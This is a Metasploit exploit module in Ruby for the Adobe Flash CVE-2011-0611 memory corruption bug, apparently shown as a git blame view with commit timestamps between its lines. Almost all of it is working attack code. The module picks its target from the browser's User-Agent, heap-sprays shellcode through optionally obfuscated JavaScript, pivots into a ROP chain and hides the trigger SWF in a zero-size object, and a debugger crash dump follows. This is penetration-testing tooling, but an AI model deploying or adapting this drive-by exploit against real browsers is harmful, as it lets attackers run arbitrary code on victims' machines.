2011-04-16 02:09:33 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-04-16 02:09:33 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::RopDb
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a vulnerability in Adobe Flash Player that was discovered,
|
|
|
|
and has been exploited actively in the wild. By embedding a specially crafted .swf
|
|
|
|
file, Adobe Flash crashes due to an invalid use of an object type, which allows
|
|
|
|
attackers to overwrite a pointer in memory, and results arbitrary code execution.
|
|
|
|
Please note for IE 8 targets, Java Runtime Environment must be available on the
|
|
|
|
victim machine in order to work properly.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'sinn3r',
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2011-0611' ],
|
|
|
|
[ 'OSVDB', '71686' ],
|
|
|
|
[ 'BID', '47314' ],
|
|
|
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
|
|
|
|
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
|
|
|
|
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
|
|
|
|
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
|
|
|
|
[ 'URL', 'http://secunia.com/blog/210' ],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => "process",
|
|
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', {} ],
|
|
|
|
[
|
|
|
|
'IE 6 on Windows XP SP3',
|
|
|
|
{
|
|
|
|
'Rop' => false,
|
|
|
|
'Pivot' => nil, #No ROP no pivot
|
|
|
|
'Offset1' => '0x01', #For aligning the payload
|
|
|
|
'Offset2' => '0x02', #For aligning the CALL
|
|
|
|
'Max1' => '0x150', #First spray
|
|
|
|
'Max2' => '0x200' #Second spray
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'IE 7 on Windows XP SP3',
|
|
|
|
{
|
|
|
|
'Rop' => false,
|
|
|
|
'Pivot' => nil, #No ROP no pivot
|
|
|
|
'Offset1' => '0x01', #For aligning the payload
|
|
|
|
'Offset2' => '0x02', #For aligning the CALL
|
|
|
|
'Max1' => '0x150', #First spray
|
|
|
|
'Max2' => '0x200' #Second spray
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'IE 8 on Windows XP SP3',
|
|
|
|
{
|
|
|
|
'Rop' => true,
|
|
|
|
'Pivot' => 0x7c348b05, #XCHG EAX,ESP; RETN (MSVCR71.dll)
|
|
|
|
'Offset1' => '0x5E2', #Offset for rop+payload
|
|
|
|
'Offset2' => '0x02', #Offset to 0x11111110
|
|
|
|
'Max1' => '0x250', #First spray
|
|
|
|
'Max2' => '0x200' #Second spray
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'IE 7 on Windows Vista',
|
|
|
|
{
|
|
|
|
'Rop' => false,
|
|
|
|
'Pivot' => nil, #No ROP no pivot
|
|
|
|
'Offset1' => '0x01', #For aligning the payload
|
|
|
|
'Offset2' => '0x02', #For aligning the CALL
|
|
|
|
'Max1' => '0x150', #First spray
|
|
|
|
'Max2' => '0x200' #Second spray
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'IE 8 on Windows 7',
|
|
|
|
{
|
|
|
|
'Rop' => true,
|
|
|
|
'Pivot' => 0x7c348b05, #XCHG EAX,ESP; RETN (MSVCR71.dll)
|
|
|
|
'Offset1' => '0x5F4', #Offset for rop+payload
|
|
|
|
'Offset2' => '0x02', #Offset to 0x11111110
|
|
|
|
'Max1' => '0x101', #First spray
|
|
|
|
'Max2' => '0x300' #Second spray
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => "Apr 11 2011",
|
|
|
|
'DefaultTarget' => 0))
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
|
|
|
], self.class
|
|
|
|
)
|
2011-09-27 08:55:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2013-09-26 19:34:48 +00:00
|
|
|
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
|
2013-08-30 21:28:54 +00:00
|
|
|
f = File.open(path, "rb")
|
|
|
|
@trigger = f.read(f.stat.size)
|
|
|
|
f.close
|
|
|
|
super
|
|
|
|
end
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def get_target(request)
|
|
|
|
agent = request.headers['User-Agent']
|
2011-04-20 21:55:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
|
|
|
|
#Windows XP SP3 + IE 6.0
|
|
|
|
return targets[1]
|
|
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
|
|
|
|
#Windows XP SP3 + IE 7.0
|
|
|
|
return targets[2]
|
|
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
|
|
|
|
#Windows XP SP3 + IE 8.0 + JRE6
|
|
|
|
return targets[3]
|
|
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
|
|
|
|
#Windows Vista + IE 7
|
|
|
|
return targets[4]
|
|
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
|
|
|
|
#Windows 7 + IE 8 + JRE6
|
|
|
|
return targets[5]
|
|
|
|
else
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2011-04-20 21:55:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
#Set default target
|
|
|
|
my_target = target
|
2011-04-20 21:55:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#If user chooses automatic target, we choose one based on user agent
|
|
|
|
if my_target.name =~ /Automatic/
|
|
|
|
my_target = get_target(request)
|
|
|
|
if my_target.nil?
|
|
|
|
print_error("Sending 404 for unknown user-agent")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
vprint_status("Target selected: #{my_target.name}")
|
|
|
|
end
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
vprint_status("URL: #{request.uri}")
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if request.uri =~ /\.swf$/
|
|
|
|
#Browser requests our trigger file, why not
|
|
|
|
print_status("Sending trigger SWF...")
|
|
|
|
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
|
|
|
|
return
|
|
|
|
end
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Targets that don't need ROP
|
|
|
|
pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c
|
|
|
|
pivot << "\xff\xe0" #JMP EAX
|
|
|
|
pivot << "\x41" #Pad
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Targets that need ROP
|
|
|
|
if my_target['Rop']
|
|
|
|
#Target Addr=0x11111110
|
|
|
|
pivot =
|
|
|
|
[
|
|
|
|
0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot
|
|
|
|
my_target['Pivot'], # ROP Pivot
|
|
|
|
0x7c346b52, # EAX (POP ESP; RETN)
|
|
|
|
].pack('V*')
|
2012-10-05 15:55:55 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Target Addr=0x0c0c0c0c
|
|
|
|
p = generate_rop_payload('java', payload.encoded)
|
|
|
|
else
|
|
|
|
p = rop + payload.encoded
|
|
|
|
end
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
arch = Rex::Arch.endian(my_target.arch)
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
shellcode = Rex::Text.to_unescape(p, arch)
|
|
|
|
pivot = Rex::Text.to_unescape(pivot, arch)
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Extract string based on target
|
|
|
|
if my_target.name == 'IE 8 on Windows 7'
|
|
|
|
js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
|
|
|
|
elsif my_target.name == 'IE 8 on Windows XP SP3'
|
|
|
|
js_extract_str = "var block = shellcode.substring(2, (0x40000-0x21)/2);"
|
|
|
|
else
|
|
|
|
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
|
|
|
end
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
js = <<-JS
|
|
|
|
function heap_spray(heaplib, nops, code, offset, max) {
|
|
|
|
while (nops.length < 0x2000) nops += nops;
|
|
|
|
var offset = nops.substring(0, offset);
|
|
|
|
var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
|
|
|
|
while (shellcode.length < 0x40000) shellcode += shellcode;
|
|
|
|
#{js_extract_str}
|
|
|
|
heaplib.gc();
|
|
|
|
for (var i=1; i<max; i++) {
|
|
|
|
heaplib.alloc(block);
|
|
|
|
}
|
|
|
|
}
|
2011-09-22 17:40:35 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
var heap_obj = new heapLib.ie(0x20000);
|
|
|
|
var nops = unescape("%u0c0c%u0c0c");
|
|
|
|
var code = unescape("#{shellcode}");
|
|
|
|
heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
|
|
|
|
var fake_pointers = unescape("#{pivot}");
|
|
|
|
heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
|
|
|
|
JS
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
js = heaplib(js, {:noobfu => true} )
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
#Javascript obfuscation is optional
|
|
|
|
if datastore['OBFUSCATE']
|
|
|
|
js = ::Rex::Exploitation::JSObfu.new(js)
|
|
|
|
js.obfuscate
|
|
|
|
end
|
2011-08-15 15:32:17 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<script>
|
|
|
|
#{js}
|
|
|
|
</script>
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
|
|
|
|
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
|
|
|
<param name="movie" value="#{trigger_file_name}" />
|
|
|
|
<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
|
|
|
|
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
|
|
|
</embed>
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
EOS
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-12-31 17:06:53 +00:00
|
|
|
html = html.gsub(/^ {4}/, "")
|
2011-04-16 02:09:33 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending HTML to...")
|
|
|
|
send_response(cli, html, {'Content-Type' => "text/html"} )
|
|
|
|
end
|
2011-04-16 02:09:33 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
=begin
|
|
|
|
0:000> r
|
|
|
|
eax=11111110 ebx=00000000 ecx=01d650b0 edx=00000007 esi=0013c2f0 edi=01d650b0
|
|
|
|
eip=100d01f6 esp=0013c12c ebp=0013c230 iopl=0 nv up ei pl nz na po nc
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
|
|
|
|
Flash10o+0xd01f6:
|
|
|
|
100d01f6 ff5008 call dword ptr [eax+8] ds:0023:11111118=????????
|
|
|
|
0:000> dd ecx
|
|
|
|
01d650b0 11111110 00000000 00000000 00000000
|
|
|
|
01d650c0 00000000 00000000 00000000 00000000
|
|
|
|
01d650d0 00000000 00000000 00000000 00000000
|
|
|
|
01d650e0 00000000 00000000 00000000 00000000
|
|
|
|
01d650f0 00000000 00000000 00000000 00000000
|
|
|
|
01d65100 00000000 00000000 00000000 00000000
|
|
|
|
01d65110 00000000 00000000 00000000 00000000
|
|
|
|
01d65120 00000000 00000000 00000000 00000000
|
2011-09-22 17:40:35 +00:00
|
|
|
|
2011-08-15 15:32:17 +00:00
|
|
|
=end
|